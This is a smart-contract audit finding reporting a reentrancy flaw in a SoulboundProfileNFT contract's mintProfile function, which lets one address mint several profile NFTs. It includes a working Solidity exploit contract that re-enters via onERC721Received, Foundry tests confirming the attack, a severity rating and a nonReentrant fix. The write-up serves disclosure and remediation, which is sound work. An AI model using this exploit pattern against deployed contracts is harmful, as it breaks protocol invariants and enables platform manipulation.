A critical reentrancy vulnerability has been identified in the SoulboundProfileNFT smart contract that allows malicious actors to create multiple profile NFTs for a single address, bypassing the contract's core security invariant of one-profile-per-user.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
I have created a proof of concept demonstrating the vulnerability. The exploit contract successfully creates multiple profiles in a single transaction:
contract ProfileExploit is IERC721Receiver {
SoulboundProfileNFT public target;
uint256 public attackCount;
uint256 public constant ATTACK_LIMIT = 3;
event AttackInitiated(address attacker);
event ProfileMinted(uint256 count);
event AttackCompleted(uint256 totalProfiles);
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
function attack() external {
emit AttackInitiated(msg.sender);
attackCount = 0;
target.mintProfile("Attacker", 25, "https://example.com/profile.jpg");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external override returns (bytes4) {
require(msg.sender == address(target), "Invalid callback source");
attackCount++;
emit ProfileMinted(attackCount);
if (attackCount < ATTACK_LIMIT) {
target.mintProfile("Attacker", 25, "https://example.com/profile.jpg");
} else {
emit AttackCompleted(attackCount);
}
return this.onERC721Received.selector;
}
function getProfileCount() external view returns (uint256) {
return attackCount;
}
}
contract SoulboundProfileNFTTest is Test {
SoulboundProfileNFT public nft;
ProfileExploit public exploiter;
address public attacker;
function setUp() public {
nft = new SoulboundProfileNFT();
exploiter = new ProfileExploit(address(nft));
attacker = makeAddr("attacker");
vm.deal(attacker, 5 ether);
}
function testReentrancyExploit() public {
vm.startPrank(attacker);
uint256 initialProfiles = exploiter.getProfileCount();
emit log_named_uint("Initial profiles", initialProfiles);
exploiter.attack();
uint256 finalProfiles = exploiter.getProfileCount();
emit log_named_uint("Final profiles created", finalProfiles);
assertEq(finalProfiles, 3, "Attack should create exactly 3 profiles");
for (uint256 i = 1; i <= 3; i++) {
address tokenOwner = nft.ownerOf(i);
assertEq(tokenOwner, address(exploiter),
string.concat("Token ", vm.toString(i), " not owned by exploiter"));
}
vm.stopPrank();
}
function testReentrancyExploitEvents() public {
vm.recordLogs();
vm.prank(attacker);
exploiter.attack();
Vm.Log[] memory logs = vm.getRecordedLogs();
bool foundInitiated = false;
bool foundCompleted = false;
uint256 mintedCount = 0;
for (uint256 i = 0; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("AttackInitiated(address)")) {
foundInitiated = true;
}
if (logs[i].topics[0] == keccak256("ProfileMinted(uint256)")) {
mintedCount++;
}
if (logs[i].topics[0] == keccak256("AttackCompleted(uint256)")) {
foundCompleted = true;
}
}
assertTrue(foundInitiated, "AttackInitiated event not emitted");
assertTrue(foundCompleted, "AttackCompleted event not emitted");
assertEq(mintedCount, 3, "Should emit exactly 3 ProfileMinted events");
}
}
Critical - The vulnerability breaks a fundamental security assumption of the protocol and could lead to significant platform manipulation.
function mintProfile(string memory name, uint8 age, string memory profileImage) external nonReentrant {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}